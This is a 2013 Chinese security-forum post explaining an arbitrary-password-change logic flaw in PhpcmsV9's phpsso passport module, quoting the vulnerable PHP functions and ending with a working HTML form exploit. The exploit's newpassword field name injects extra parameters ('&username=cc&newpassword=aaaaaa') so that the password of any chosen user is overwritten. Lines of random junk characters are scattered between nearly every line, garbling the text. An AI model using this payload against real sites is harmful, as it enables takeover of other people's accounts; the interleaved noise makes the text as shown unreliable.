中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
P4 N! q" i: f0 f
- g/ a# B/ Y s& ~+ N
* U3 p; ^, v( ~5 A0 h: t1 x F( Z% p
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
( K8 N3 X3 ^" Y$ ]+ ^
, H8 o9 M1 T1 v0 n+ |
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
- ^3 X- F. h, Y% K7 g. B
- n7 C; V9 Z% {9 N, Z
我把它留给了你们。
9 a6 I! c% z" u0 ]& q# _ @, s. d
不知道你们发现了它没有。
' {( J# p2 j9 A* W. r3 A u
' A' h) Z. O; @# _4 \" Q
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
; a; x, F2 ^2 J0 J4 p- I' Q+ L
: c6 a3 c) U' U5 I
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
7 H/ [ S) S4 _4 D- k
+ V) f& |9 D' Z' r! S, z
也就是
% w! [% l+ m3 J) L
% D8 W [+ \7 [7 i( m1 d. p3 Z
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
2 B: q2 `2 X+ J @3 X
@* Z% k" Y/ P( m3 b" g
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
" @: e- I7 g) k' i( j; I
* G- M0 g4 G1 W4 J( Q. K2 A8 h
% D$ h' t! O/ U
其实我们有这样的机会,看看代码,如下:
* O( _& r) u2 s# S' ?* t
/ x- C1 O* b4 |/ J$ Z; ~& N+ l2 Q
6 D* c' Z0 z$ W. U7 C
public function auth_data($data) {
, r. r! w- E* O, K
$s = $sep = '';
: s6 \- p2 g. V/ ?
foreach($data as $k => $v) {
! w3 j" j0 W. a% w7 a6 |, n$ m
if(is_array($v)) {
* n( n$ q: j" P- z/ T) H4 I
$s2 = $sep2 = '';
t, i2 A0 ]0 F
foreach($v as $k2 => $v2) {
& j+ ]+ Z8 S& E' l& O; l
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
& P# E3 C) x" U A& b! G: @
$sep2 = '&';
% \0 i* D* C( b+ o4 D- W
}
! n% [3 u4 a/ _% ?
$s .= $sep.$s2;
: V/ p# ]1 w |, ]( K0 X& J; w
} else {
5 \- y$ C5 k9 y& x3 g# {+ }9 c. P
$s .= "$sep$k=".$this->_ps_stripslashes($v);
$ X: q* d9 \1 ^. A4 s/ m+ j
}
! h0 e; a: O8 z5 _7 X9 B W" g- E8 J
$sep = '&';
- }8 C$ h' W; T( D$ l
}
5 W7 v8 `1 C9 x2 e: e/ A4 Z1 X6 X
; O2 N- [4 E" i8 U& a# S
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
. l4 [% `! I% Z- N9 j3 ]+ M
return $auth_s;
6 P1 m) Y( X7 {$ w( h( m' @ ~
}
Y, i6 n5 f7 a+ }: ]
3 v. U5 x0 C( j
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
3 }& b" F4 }' y( [* B
3 t* } q- h, p! f2 R
举个例子
+ {; w# q& k, Q. N
7 c/ k. X4 |2 r
$a[aaa=a&bbb] = 'a';
; c+ l) J8 j9 p
% E' c- Y1 v( }* s/ Z: F5 M5 O
会变成aaa=a&bbb=a
) [. I: a: g1 \% [3 Y
( S1 G2 p! ?. g! C, c9 n
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
* `+ n) e5 l9 }) ?6 ]. d3 i3 O$ r
# r$ l! Q9 o4 y8 e7 L" a
这个时候,我们可以再去看一个函数。
+ X& T9 @2 O7 C0 ]: g9 `% W
& S, |5 {" D3 X! k, q
就在这个文件内:
+ F- ~4 l4 j% ^, ~
; v, e6 V; f- x7 L X
. J$ ]3 _. ], M; g- W
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
. p( e( ?' f2 B/ b& ?2 [
if($email && !$this->_is_email($email)) {
0 @& S8 h1 _( ~6 _' K
return -4;
3 P! W) c. A0 ~$ _: B& N* }" l2 k
}
. n; K2 u) C! b& ~ R- w( U& e
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
" a4 Q# R; U1 `0 r; x
}
9 {# `. j4 w$ b% H2 S! O- O3 ^% M" y
7 k' L& w1 y& j8 k b, t
这是向通行证发了这样一个请求。
_+ U7 `4 s" u
( @3 r2 l h% S7 [( S
我们再跟到通信证代码里去看看,就会有所发现。
8 l0 u5 f* U: X( p5 |
* Y- I1 \$ P* s1 F
! r$ N5 O* {5 a0 j r0 u
public function edit() {
3 H" U& M& f2 [7 d0 H( k4 v
//能省就省,太长了不是吗?
$ f7 k' f: X5 P: S$ H
! C+ e2 g! A+ E9 T% {5 d
if($this->username) {
. }% |" O, ^- f0 o. e! S
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
8 W* [; w: o" R8 k( E
$res = $this->db->update($data, array('username'=>$this->username));
9 X% T5 A; j/ F8 e/ n
} else {
: F: E! g: R* ^4 [5 C+ q* p
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
4 m1 Q/ J/ ]6 O3 d
$res = $this->db->update($data, array('uid'=>$this->uid));
" O4 R! J, S9 `( h7 ?
}
( u$ f0 L" A9 ?+ Y# w8 v9 M. B
" E* O" X0 P! N% ]9 Z$ m: e9 d
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
% ?+ f( y7 h: {0 m4 h7 K7 g
1 u2 L$ Y8 v, @6 @6 y6 ~
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
6 I3 j6 q( e$ l! {, S3 W- _
& _0 I& L8 N, D" i8 C9 b6 f
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
, t" _4 Z0 R' I: \: q
! q7 T4 @, \; _8 K" f) Z
我当然找到了:
2 ?; H9 F/ p F1 h {! A
phpcms9/phpcms/modules/member/index.php
) W: h9 S$ l( A. g& q3 Z
4 @" l+ [5 M7 I+ b) D
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
" N# V) H0 V I' s) }
3 n4 q4 X8 Q9 m
然后就没有然后了。
8 P! c% s0 L" q2 Q
) X* U& b* t ]3 r' Y
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
. l# I* p3 E! e& J+ @8 Z
<table width="100%" cellspacing="0" class="table_form">
) r. {* k/ N4 Y3 M1 @3 _
<tr>
( O4 w' ~5 |. I, V8 z! Q' J/ B
<th width="80">邮箱:</th>
: O N( L# j* ]9 P
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
4 o# @# l: z3 Q$ P {+ x
</tr>
: n- t2 l( n4 s# E
<tr>
: k. _2 l, [* `2 R# \
<th width="80">原密码:</th>
( l6 Y3 H# M0 s" A' F
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
' h2 W. j, h1 S; e8 V
</tr>
' F0 r: w+ }- A" n
<tr>
$ k7 y- R7 P, G3 G
<th>新密码:</th>
% }0 Y) c7 u& ^* h! }' B" ^7 `
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
$ b! H8 W" N1 \6 N w4 B0 l; K
</tr>
( Y3 u( y0 X( |' O B$ N
<th></th>
# m7 U* g' K/ K* y$ T2 V
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
@8 }4 ~' \9 Y' h H
</tr>
; U% `+ I2 U* m# A9 L( A
</table>
- w0 b4 c* W9 |" O# ~" k
/ v/ A9 A6 W, X$ W0 T# K
; b0 t0 ]4 C2 [; S$ y9 ~' ~) m
</form>
2 q7 L1 Z, t+ o1 ]( G8 N
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2